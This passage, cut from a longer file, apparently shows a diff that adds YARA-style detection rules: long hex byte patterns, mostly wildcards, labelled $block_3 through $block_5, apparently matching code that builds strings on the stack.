?? ?? 83 ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 0F AF ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 7E }
+		$block_3 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C6 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8D ?? ?? ?? ?? ?? 5? 0F B6 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 35 ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 }
+		$block_4 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8D ?? ?? 5? 0F B7 ?? ?? 5? 0F B6 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 33 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 0F AF ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2D ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? 35 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 89 ?? 8B ?? ?? ?? ?? ?? 33 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB }
+		$block_5 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? 